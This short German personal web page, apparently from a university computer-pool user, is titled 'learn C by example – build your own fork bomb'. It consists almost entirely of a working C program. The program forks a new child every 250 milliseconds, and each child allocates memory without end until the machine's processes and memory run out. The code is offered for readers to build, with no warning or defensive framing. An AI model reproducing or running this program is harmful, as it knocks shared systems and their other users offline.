Ludwig's CIP-Seite

C am Beispiel lernen - eigene Fork-Bombe bauen

#include <unistd.h>
#include <stdlib.h>

int main() {
	while (1) {
		if (!fork()) {
			for (unsigned char i = 0; 1; i++) {
				malloc((i % 4) * 512 * 1024);
			}

			exit(0);
		}

		usleep(250 * 1000);
	}
}